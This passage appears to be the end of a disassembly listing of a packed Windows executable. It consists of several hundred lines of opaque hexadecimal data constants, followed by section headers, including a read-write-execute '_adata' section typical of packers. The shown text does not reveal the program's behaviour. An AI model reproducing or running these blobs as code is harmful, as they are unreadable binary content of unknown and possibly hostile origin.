		dd 23F1C214h, 2F56DF84h, 0C8EFA6DCh, 0B90B2E5Dh, 0F68B3F47h
		dd 0FBE0A49h, 46BCF6C7h, 0A1892111h, 9C8E06EBh,	77DBE4AFh
		dd 952739E8h, 7196D3A0h, 0CD1934B7h, 38BE636Bh,	0AC225C21h
		dd 0E382770h, 0FC2B65F0h, 0FC06F6C7h, 0FFC57DF2h, 0B8EE5656h
		dd 7850DDDFh, 2A487768h, 0F1D400CDh, 0E81A9072h, 0E4217C74h
		dd 0AD36C5Ah, 0EDB54C2Ch, 0C59FB2F2h, 19DEB0C1h, 8074EC1Bh
		dd 97FB5157h, 352D2024h, 9ED47530h, 0FE82E9CEh,	0F3DFE15Bh
		dd 0A759F08Ch, 0F8C78D42h, 70376B30h, 0DB70501Bh, 511470BEh
		dd 0ABF61BB0h, 0EB88D498h, 0FE4DF95Ah, 0AD3C364Ah, 7CDC1083h
		dd 9E22F6AFh, 6F4C5F6Ah, 0E14C6048h, 0D67D11CBh, 0E926FBA8h
		dd 0F41D2B61h, 0C519430Eh, 0B2E8CFAFh, 52B30B72h, 0F30492EAh
		dd 7D59DA08h, 682FAC33h, 0B5263CF3h, 3B88A876h,	0BA1FEE81h
		dd 93A775BCh, 0A28D966Dh, 0DA7F3BCEh, 5BD1D21Bh, 0BAE8ED8Eh
		dd 108950B5h, 0B526259Ah, 0C49BDEF7h, 0F0B59BC0h, 55D33807h
		dd 1831DE60h, 0B9768C66h, 55386907h, 0F00CFBF9h, 7E985741h
		dd 0E0FBC97Ah, 0F2414BF2h, 6ABE6757h, 0E3240DCEh, 44DAE52Ah
		dd 0AE884762h, 113489BFh, 0CE22F8F1h, 0B343A816h, 6AFC3BE2h
		dd 74CB070Eh, 0B48533C2h, 0D1C9F0E8h, 324604Ch,	0D0FBA49Ch
		dd 0F681E11Dh, 0A921C40Ah
		dd 3837C9F6h, 0DB1AF7E8h, 0C9F83780h, 0BFF27B06h, 0CE837933h
		dd 7E1E62A8h, 9EFA0D1Eh, 354DCCC6h, 0CBA1C996h,	0B02FCFE5h
		dd 0B14D728Ah, 0C4C6DED9h, 834B76h, 978FA2D7h, 0CA9E6817h
		dd 1C24014Ah, 762E579h,	4353CCADh, 0E0AEC0A4h, 1EEB85C6h
		dd 0C2E2902Bh, 0CE5C2047h, 4D3093B2h, 9A5EC08Bh, 0F67A77F6h
		dd 0F74D6869h, 21240F16h, 3EE77547h, 0C133F4BCh, 8F7FF023h
		dd 9A7A8815h, 5385FB77h, 0F6C18C41h, 0E40AAC2h,	0F897920Ch
		dd 0C29F3C0Fh, 56DAF4E2h, 3C3F19F1h, 24195170h,	1C96912Fh
		dd 57604359h, 617A3971h, 8494FD97h, 3C96BE32h, 0A79FB754h
		dd 0D0D8992Ch, 0C1564346h, 0C270E32Dh, 9F8499F1h, 5A5A9556h
		dd 0BFC971F3h, 0A1ADD65h, 5F7E604h, 0DD5819FBh,	0C6F52089h
		dd 0F9EDF6B4h, 0BE1A3971h, 203A5F83h, 959112F1h, 0AC4215Ch
		dd 0C9B2A081h, 0B20B43FFh, 6B849633h, 0C80A5D03h, 102BBF7Eh
		dd 96FAF00Fh, 0B47EADDDh, 4AF01D71h, 88040E99h,	48759846h
		dd 0EF4BF2EAh, 84BABB82h, 0A5FC13DFh, 7892741Eh, 4E6B2B87h
		dd 43FFDBD6h, 0E27CE604h, 2578B84h, 0C00AF277h,	843D1F27h
		dd 0E6A7A209h, 12E37920h, 353B1C7Eh, 12AA83CCh,	0F4DC33D2h
		dd 0C6C8C8F6h, 5DE640B7h, 5A465C06h, 29904414h,	0A4A616DDh
		dd 315BC19Fh, 469217C4h, 0BCBA4212h, 1D97BC15h,	6A2EA7BFh
		dd 6BE672C0h, 0A432C532h, 991739FCh, 901544F3h,	4C26FB13h
		dd 0BAD6C948h, 97339469h, 0DA821F4Ah, 7BFEFF6Eh, 9ED8E9A5h
		dd 0ED664D25h, 96153D32h, 0A9823B16h, 0F3266EBEh, 2F124DCBh
		dd 9E8BA9A1h, 516D7CD1h, 35AE598Eh, 0D89EEB55h,	0BEEABAE6h
		dd 0F8EB3684h, 0D542EEC9h, 0B9F98843h, 0E6BEB8EBh, 28AF64A5h
		dd 0BC56ABB3h, 1B8AA3Dh, 0A4C5646Fh, 4D73DB8Ch,	0E9AC8B52h
		dd 455BFF56h, 0DB71D4C2h, 60FFBC7Ah, 0DBE51988h, 0F1D07D2Eh
		dd 95F289FEh, 13868F94h, 2001CA31h, 7C05D910h, 335BF92Bh
		dd 0CE604B95h, 9AAD6958h, 0C6214E7Dh, 9A39C7DCh, 47C26813h
		dd 0B29C711Dh, 0BB26C833h, 9D8F4679h, 0D3B3E628h, 4D98C017h
		dd 5A06B706h, 2DB2715Eh, 0E7BC817Ah, 6681F76Dh,	3BAFF8CEh
		dd 0E870198Ah, 3D1DDFCDh, 0B026EF6Bh, 0AF2A26ECh, 0F060FE2Dh
		dd 4B16CF54h, 9D7F630Eh, 0AD5FB801h, 0A93E7612h, 81FD5371h
		dd 3BD929A6h, 6E7BA97Ah, 0BB0EBDF5h, 7161AE17h,	0AFB155C5h
		dd 130CB557h, 0ADB23B82h, 642A97E0h, 0DBE79797h, 2DFE5118h
		dd 0AF72B71Ah, 0A13F77A8h, 523BAFD5h, 62E6A937h, 60F0F942h
		dd 0CB267252h, 9CFD9089h, 132AA5EBh, 0FA8AF647h, 6CF1B870h
		dd 20C1C4FCh, 587C531Dh, 91740A88h, 64B0526Fh, 0D4F96954h
		dd 95F596Ah, 5FBBC7B1h,	7F2485A4h, 4E7C3971h, 9F24EDEAh
		dd 0CDEFB2ABh, 0EEECFBCAh, 75D77947h, 21688DB1h, 384B49B1h
		dd 0E8BD144Ah, 0F67B9297h, 2FB96749h, 1FEC0A7Dh, 0C2FC4A5h
		dd 95172294h, 0ABDE8754h, 5F153154h, 19D9D374h,	56C588A6h
		dd 519F8DA7h, 998A68E7h, 0FB265587h, 55564B9h, 103F3D71h
		dd 820AB73Bh, 1433E43Eh, 0C6CF55DAh, 0EA79562Bh, 3F2DAEA3h
		dd 0BA52D30Bh, 2274DCCCh, 9ED62A5Ah, 99640BD7h,	2C7A4F6Ch
		dd 8181AEC2h, 27EFA067h, 347C8A29h, 0D7542183h,	0A2A8646Ah
		dd 0D800BFA0h, 51DE22F5h, 86C11D77h, 0FC74AC31h, 7204A3Bh
		dd 1BE187AFh, 3066FD9h,	991CE285h, 0F112E230h, 0DD5D2F24h
		dd 0AA5BCE5Ah, 89494F9Ch, 189DE437h, 61A9B085h,	0A8CDB7ACh
		dd 0DABFB4CAh, 11F805BBh, 50B180A1h, 781D5939h,	0C0CB3D3Eh
		dd 396A40C4h, 0F0D64EC2h, 58013F2Bh, 187F8BE0h,	0C0C6309Bh
		dd 28E33F17h, 335744B9h, 1C088E61h, 6A710ECCh, 20B1AAE0h
		dd 0B13349E8h, 0A7A1C541h, 0A7E7179Ah, 1E773D12h, 37FEDC0Eh
		dd 0B9AB07Dh, 0CEA96496h, 66E36A80h, 0F0DB398Fh, 2F99C20Ah
		dd 36D8400Fh, 76B53D07h, 1B4E265Dh, 270443F0h, 9FD8DB46h
		dd 662557CEh, 4F40CE1Bh, 0A84C5BFEh, 0A06530EEh, 0C4BF25F0h
		dd 0B59FB053h, 0B22C3532h, 0B651442Fh, 9519EC56h, 37F95E8Ah
		dd 898C1517h, 0AB248BC0h, 0D05B060Bh, 1166C4F2h, 0EC640161h
		dd 756D3AD6h, 0BC65EEB7h, 5720425Dh, 0CB16CB97h, 5B0B1E1Ah
		dd 60996265h, 1A93F83Ch, 0E02D11BFh, 0D032CA63h, 47850217h
		dd 0D8D209FEh, 8E15B4DEh, 0E5DECD24h, 1DE9B5FAh, 688B6111h
		dd 0B549FC88h, 44E0AC93h, 3946BF05h, 0F6FAEA7Bh, 17190E39h
		dd 83A0DE9Ch, 0B90A790Ch, 417F9FE9h, 0FD1ECB6Eh, 4F15CA1Bh
		dd 6512EC1Ah, 0C226832Ah, 0E5523DF1h, 6A60E2E6h, 17B5E36Ah
		dd 3D5882Ah, 7B534A7Dh,	0D5471020h, 44D49D5Ch, 0E97871CDh
		dd 4C97CA60h, 8BD08765h, 175D4453h, 6415E30Bh, 659578B9h
		dd 1F50621h, 0F5271C37h, 8EBC4497h, 0ED602389h,	0A1C773DDh
		dd 509D1036h, 4AE03576h, 4A69ED54h, 4A6E181h, 0E6C2E8BBh
		dd 539609BAh, 1C570CC6h, 2D527A7Eh, 1086AD93h, 565D09CAh
		dd 0F0C3A0D7h, 0E7AC33C1h, 0FA82F8D2h, 21B8D057h, 95CFB652h
		dd 2C527F2Dh, 1549A76Ch, 2A78AF9Dh, 5AFE50BCh, 0EC3438BCh
		dd 40E16920h, 0E4009235h, 7FD89CEEh, 0FE1AEC6Ch, 28FEA64Ah
		dd 0C1180ECEh, 397C0724h, 3DEAB128h, 0BD2B4FA0h, 7E3E6C7Fh
		dd 5E22A0A9h, 44FDBA7Fh, 95531DAEh, 89708C21h, 63D3960h
		dd 33CFB87Ch, 13D9A666h, 1C33909Ah, 0C069F556h,	6B7005F2h
		dd 3FA84017h, 0B69291B1h, 6FC09920h, 0D2EA9B8h,	2BBCF0EEh
		dd 4F99885Fh, 0E480532Fh, 77ACC585h, 4F95508Ch,	0EBF81B90h
		dd 9423F3A0h, 26CCD747h, 0EDF0EA00h, 53826DA8h,	5308EB08h
		dd 0DDCDEF7Ah, 0A10BE4E0h, 0ECDBD75Ah, 0DD209ECCh, 59F7E952h
		dd 395FEF36h, 0C46C1352h, 0ECF99591h, 97166256h, 14144468h
		dd 2C44D3C0h, 0A97E6E19h, 8B8FD17Fh, 7FE828EAh,	0C04919E3h
		dd 98927D1Fh, 5CA97418h, 8739F97Eh, 5F9C06Ah, 9F533B1Fh
		dd 1EA06115h, 0F732DB06h, 5FEAD7E9h, 0F760337Dh, 35657817h
		dd 6F706F62h, 0BC5EB8F9h, 9953FB6Dh, 657CAA52h,	0B3D47CADh
		dd 7A9FF25Bh, 45EC9EEAh, 0CBF4A5F6h, 0EAD984Ah,	0C8C0FF16h
		dd 731A914Fh, 3CBB48A6h, 0BEA36E82h, 6CC4EA2Ah,	2FDDEAE3h
		dd 29DECC12h, 78DA8A95h, 0ABD68F7h, 2126209Ah, 0A618080Fh
		dd 0D6154A6Ah, 0BA24D525h, 7FC84A5Fh, 0CF57BE1Bh, 5E9C7F49h
		dd 91296B64h, 6484283Fh, 797CE96Ah, 0EFB9FAC6h,	0C68268A0h
		dd 2E985CAAh, 0AE0B53DFh, 233F7CEDh, 3624D4D0h,	2D98078h
		dd 2EEF1E64h, 0E5C6565Ch, 0E3C1041Bh, 0F2821492h, 9F209FF0h
		dd 1C62BFABh, 50253CE7h, 0C528905Bh, 30D7BA3h, 58E6AB00h
		dd 6566AEACh, 0C9B61C2Dh, 0C0A25EECh, 87364773h, 0BB2779EAh
		dd 966E6972h, 96DFB84Dh, 20307635h, 0C0295EAEh,	0F6D1D099h
		dd 538F1575h, 7AD25916h, 0C8FF9F82h, 53C68636h,	61A9DDC5h
		dd 0B6BCE5E2h, 7849BB27h, 3BC215E5h, 2BB660D4h,	1CBBF6AFh
		dd 503783CBh, 0BF14B9EFh, 0CFBD3BDEh, 1DCEECDCh, 414F9D3Ch
		dd 0D9C61C2Ch, 10C3FB0Fh, 799F384Bh, 23FEFE58h,	0AAC765B0h
		dd 5E151261h, 0DE0F98F7h, 81D8F614h, 0D3067C17h, 43F61CB7h
		dd 3969EC08h, 36DD9D63h, 1989653Bh, 0AEA8B35Fh,	3FD026C4h
		dd 48C4ED55h, 5E0BF158h, 0F59E8915h, 85967A5h, 736ABFE7h
		dd 2716C325h, 65BB4927h, 6D0D09C9h, 34AFDEFDh, 0E7BD55DCh
		dd 6B192842h, 0DF62E31Bh, 2E085B1Eh, 3D0B3A76h,	5CA64FBBh
		dd 5D0320F5h, 0B5CAC616h
		dd 0E20AF2F3h, 9E5F5662h, 0A4ADEF52h, 9C1E30A4h, 0D401256Eh
		dd 0B2B60FDEh, 9D25B478h, 0DB005B43h, 16CBF4D7h, 14C94163h
		dd 94E07E4Bh, 9A46D86Bh, 0F461801Eh, 53827C8Eh,	44BA6377h
		dd 0AFA49F70h, 550A34C5h, 3CB3D68Eh, 1240F932h,	0B649185Bh
		dd 0C861BC47h, 44495552h, 0EFB75226h, 4035566Bh, 9AA9C7FEh
		dd 0B9C93A3Eh, 77BA3F74h, 0FB7E6CD0h, 7FAF1869h, 20BE4291h
		dd 96372A19h, 0ACFF4811h, 31E3A4F2h, 79DF6355h,	7431A9E8h
		dd 0AD5AA801h, 314360C5h, 0A12FA8D7h, 9C9CE913h, 2FAB2BD1h
		dd 84D7F287h, 0ECE9539Eh, 21F42260h, 8FE224Fh, 9F379DC2h
		dd 1E1A9DDDh, 758403F3h, 90B238E8h, 3FE31516h, 989B7D3Ah
		dd 0EB8EC54Dh, 0EB479271h, 0FF369409h, 179D2DDEh, 831951A4h
		dd 6D19DC80h, 7CC70CE9h, 0A104FA0Fh, 6E700611h,	0BF1B7BC7h
		dd 6DAC1767h, 31B3455Bh, 20B6691h, 5B41A82Eh, 0CBD965C2h
		dd 176FF0C7h, 0F97C2A6h, 9192287Eh, 239061AEh, 2E4878EBh
		dd 9182D3A9h, 0D382149h, 282EB19Eh, 248DF8FEh, 3FED3E43h
		dd 7205F352h, 3469C040h, 8E69AEEh, 8969AF02h, 0FBCB23A9h
		dd 522B30F8h, 1215F41Ah, 0F60B5956h, 145CA7A8h,	779A8A91h
		dd 1A88ED18h, 5E42E0D2h, 3D3B6E0Eh, 0F626CE43h,	801B5DCFh
		dd 0C6BAAE5Ch, 8B3EFCD7h, 3013E3C6h, 9E604D00h,	75D1574h
		dd 0F2888DD9h, 683E43D5h, 1B6B1561h, 9928D135h,	0BF4CCAAAh
		dd 0A66D1310h, 8AAA5B9Eh, 77BD5B44h, 264E340Eh,	904EDA84h
		dd 6E611105h, 0E51E32DCh, 0F0E7A423h, 91910CF1h, 7D8B7527h
		dd 0C0CB2A4Ch, 0BE4BB16Dh, 59D075Eh, 0C96B11C7h, 0AADFDDB4h
		dd 9BC9446h, 3E850D7Dh,	9BE31A80h, 307CF930h, 0C4142567h
		dd 7E3EE18Bh, 0A435E1ADh, 6FC4F991h, 1C378A55h,	85191384h
		dd 0C720D44Ah, 0EB2CDF54h, 0ABCF8786h, 68CA1B73h, 0E82EC73Dh
		dd 2228D68Ch, 7F8ECA34h, 51BD61Bh, 6A082691h, 3F7FA086h
		dd 0E602DECCh, 0C65537C8h, 0FF17B310h, 130827CAh, 88F805FCh
		dd 25E755D6h, 7539C838h, 0D062621Eh, 8DB2C6D8h,	0E17737D3h
		dd 903243F3h, 0C32F98Fh, 1C07BD85h, 462510E5h, 0FC5E2F7Fh
		dd 4F7C3D69h, 73AC6CCFh, 0E03E0DC0h, 280E445Ah,	1BE9C7C1h
		dd 494C06Bh, 24D64EC9h,	6F84176Dh, 7794CA40h, 0F22FE162h
		dd 0D747886Ah, 0D515287Ch, 69B5F0F2h, 8C02BD5Bh, 16A2C1D6h
		dd 0A67C545Ch, 58AB2B50h, 1341259Fh, 54D32DAh, 2024F4A0h
		dd 0FF3EAC1Ch, 658BCD31h, 5FA4ABC6h, 361A8ED0h,	6CD885BCh
		dd 82BB04Bh, 0FB14A9B6h, 90CA0E96h, 0CB182C74h,	78600F5Ch
		dd 4491AA77h, 753A5F3Eh, 543BE140h, 9C230DD0h, 9E2D2E45h
		dd 2981533Ah, 6562EAB0h, 19B5EED4h, 0D28E6E6Ah,	677648EAh
		dd 0E7212963h, 65CD238Dh, 22DD135Dh, 0EBBE1DA9h, 0DBB8B0A9h
		dd 2DDDAA41h, 0D891B0EEh, 0B7F8B2Ah, 4A14495Fh,	0BE34EE0h
		dd 3013EBC0h, 0EC4AC95Dh, 7653C979h, 0EF093875h, 39850B6Ah
		dd 80D4302h, 0C2378184h, 0E5BBBCCDh, 0EA959989h, 75EBADC2h
		dd 6F7E691Fh, 0A399C756h, 93E380AFh, 4300894h, 8B8190D4h
		dd 0EA65BA5Fh, 0EC1B414Dh, 0B5F5CA60h, 44D98D43h, 6E45F278h
		dd 38850936h, 1A87D599h, 7574A639h, 0D93DB33Dh,	0EA49255h
		dd 0AA73C40Fh, 7C6CF6D7h, 0C9414892h, 50854F88h, 40A29713h
		dd 0A9D658A0h, 4A21559Ch, 0B96FBAC4h, 4E974C3h,	55E9441Bh
		dd 0E432BE29h, 0CF484683h, 39AF0A10h, 4D1D6153h, 2B192C7Dh
		dd 862B5DE3h, 94E540D0h, 0C9C176E6h, 0C7E16CF0h, 4CA932B7h
		dd 798C13BCh, 0D53C10EBh, 87ACA9FBh, 0CFCA87F2h, 55DCFF6Fh
		dd 879C2137h, 0B59480D7h, 0F1F5BA18h, 0AB1684CAh, 0ACE6D42Eh
		dd 9846A88Ch, 0EC1C230Eh, 0AA944F91h, 70DBC2AFh, 27A48B9Dh
		dd 0FA49A3F0h, 89277D45h, 0EFD35056h, 8EC307D2h, 84CDE361h
		dd 4E71F1D4h, 0B0DF7BEEh, 0CEED8C5Ch, 0F35B9ED3h, 5FAAB05Bh
		dd 0AD1EB1F8h, 54C553A3h, 0DC25A254h, 9D7D83C3h, 44A6F5B6h
		dd 0D64E816Bh, 0E48BA1A1h, 87A121F8h, 5A6CB70Bh, 2314FC41h
		dd 0C5FBB3A6h, 22F19ACDh, 26E96D5Ch, 6A7507ACh,	97F67520h
		dd 0EE1A4417h, 0F4DF0DB1h, 8E0A5744h, 0CA16B232h, 0A32E5085h
		dd 0C6FAF25Eh, 0E9FE5201h, 0A087440Ch, 6684C414h, 0D372887Ah
		dd 0C6DAB2E4h, 4533C029h, 380FD07h, 60CC97Ah, 5C6BE3DAh
		dd 4A62B2CAh, 55402C0Dh, 30BDC0E0h, 5DEC81E4h, 0A0BCB4E5h
		dd 9BCF3D98h, 0F623EB21h, 95D281D6h, 91046D87h,	55504DB5h
		dd 5B840A66h, 0F96611D2h, 40A52ED8h, 0F5B9AC50h, 1132B0D7h
		dd 0EC58425Fh, 32B1EBB8h, 6AB1C29Ch, 0B21BC525h, 110FBD3Fh
		dd 0CC59878Fh, 0E0F3956Eh, 0D15AD4B5h, 0BA7ABE78h, 0CC2C2D64h
		dd 225400Ch, 0E722F8C1h, 3A44B584h, 86E0D21h, 6B1B9124h
		dd 0FA48BF5Dh, 59D981B9h, 0AE8CABh, 0B0DD3E7Dh,	673CA309h
		dd 9840D997h, 0F1AC503Eh, 0B2757B57h, 3D67F20Dh, 0E71B72DBh
		dd 682C38F7h, 0B6081552h, 0F62A8389h, 917C7CB1h, 4B49DAEEh
		dd 8A3ACAA5h, 446A34E4h, 0AD79C0BCh, 0DE421D0Ah, 0DCF5CBC2h
		dd 0CA96D913h, 95D6A00Fh, 736EF333h, 0A09F308Fh, 2A71FB47h
		dd 0D800C73Fh, 527D2067h, 0EF427EB1h, 0EBBF0137h, 94E586DCh
		dd 5CFEF1F3h, 0D2C27ECh, 46720E88h, 0F052929h, 4DBFB7C0h
		dd 9E971C0h, 76A4379Ah,	0FBCAC0EBh, 0C92D5C7Bh,	791AA8EEh
		dd 9BB39D3Ch, 2417C9A5h, 0D7DD36DBh, 1AAF0F22h,	828C22F6h
		dd 0FC1A3CCBh, 0FBEC9FFAh, 0B8E917E6h, 8559BC39h, 7F4005F3h
		dd 0C278D038h, 4FA29EE8h, 6A271467h, 681C6132h,	0AABD86E0h
		dd 82BAF045h, 0EA122A2Bh, 493A6470h, 4160CBB6h,	8ABE896Dh
		dd 262BE2ACh, 0DA2DC17Ah, 0DD1924E1h, 0FEC174D9h, 80831E1Ch
		dd 4C040FBDh, 49F7B931h, 7D8BC82h, 0CF2FE4FAh, 6DE1A84Fh
		dd 0B1423A90h, 56DE6368h, 65ABE475h, 0EC6D833Fh, 17576F94h
		dd 951EE776h, 43CAh, 0F1D1A860h, 0E9801CE0h, 5E0868CBh
		dd 55D42607h, 595FF71Ch, 696E6962h, 0A44B9211h,	59D0881Bh
		dd 448BCBD4h, 294D35B2h, 1BE21CAEh, 12DFBB1Fh, 0A19FFA08h
		dd 0FCE9303Ah, 9AF688C3h, 9A71A80h, 0EC2FCEE0h,	228EBC1Dh
		dd 7C978776h, 0A861E846h, 1E517BEEh, 2B2F60ECh,	91EB69A7h
		dd 2B0AC8B9h, 98CB87CFh, 0F59D3259h, 0E6389A1h,	8B90251Bh
		dd 1C4041E4h, 95B34BDDh, 79E1C5C6h, 7207A04Eh, 0B5632F00h
		dd 48883774h, 9FF4E445h, 2DD58B8Eh, 0AD277913h,	629E6543h
		dd 820112C0h, 95E44E1Bh, 79ED64E3h, 4011934Fh, 46724208h
		dd 8D0DBE8h, 0A8B8B4B6h, 3ACA472Ah, 25E9A8C4h, 501B2350h
		dd 0D9562902h, 8BAC32A0h, 5B712A27h, 99557BC2h,	0A598E51Fh
		dd 4BC7AD6Fh, 1BABC69Ah, 60561672h, 927CE4F6h, 588521F0h
		dd 79000E72h, 61686F0Bh, 26066B3h, 49D979C8h, 62CE8D9Bh
		dd 8878BF5Ah, 23326070h, 5B77939Dh, 829E414Ch, 0E4456604h
		dd 0E09DF0EAh, 68F8AFBCh, 3E4C02B5h, 91945E32h,	0CF3FCA31h
		dd 0CC16DED7h, 9A3FF8AEh, 0AD5AAD44h, 25D1A752h, 63CF77A6h
		dd 35920D69h, 45F2D37Dh, 9F5EB610h, 69A57FA4h, 2B4B5223h
		dd 474B3AB6h, 7A700D8Bh, 77BE20B5h, 10837CCEh, 7212A40Eh
		dd 5D4019F7h, 6E2014DEh, 0DD9E4CCAh, 44ECA298h,	4DE30B4Ah
		dd 67D818EDh, 0DF75018Eh, 0ECA1FB0Eh, 99854CE7h, 0A2335D32h
		dd 0A589C859h, 394A247Ch, 0CE89EB58h, 79E4F525h, 0F43330E5h
		dd 8A85A7F7h, 0A6C60FF2h
		dd 4C404420h, 0B6CF9017h, 0BEA29D49h, 0F4B06192h, 76607008h
		dd 0E7F882A7h, 27D6189Dh, 9C8E8340h, 395DD2FEh,	88AA4EDEh
		dd 72689338h, 79A07FE8h, 0AD796616h, 90795639h,	0A0E26423h
		dd 565B3009h, 0B65437F7h, 0D8C39020h, 0F3422CD9h, 0D991BC60h
		dd 0EF15D5A1h, 0FDBEC94h, 0DB294500h, 74A2FE9Dh, 9AA1C408h
		dd 0A63DCBE0h, 0E90A340Eh, 56AFF712h, 93C8E6D1h, 0C5B96A48h
		dd 0BD5E1801h, 5AC83E60h, 180h dup(0)
_data		ends

; Section 5. (virtual address 00086000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00086000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 486000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 400h	dup(0)
_adata		ends

; Section 6. (virtual address 00087000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00087000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 487000h
		align 2000h
_idata2		ends


		end start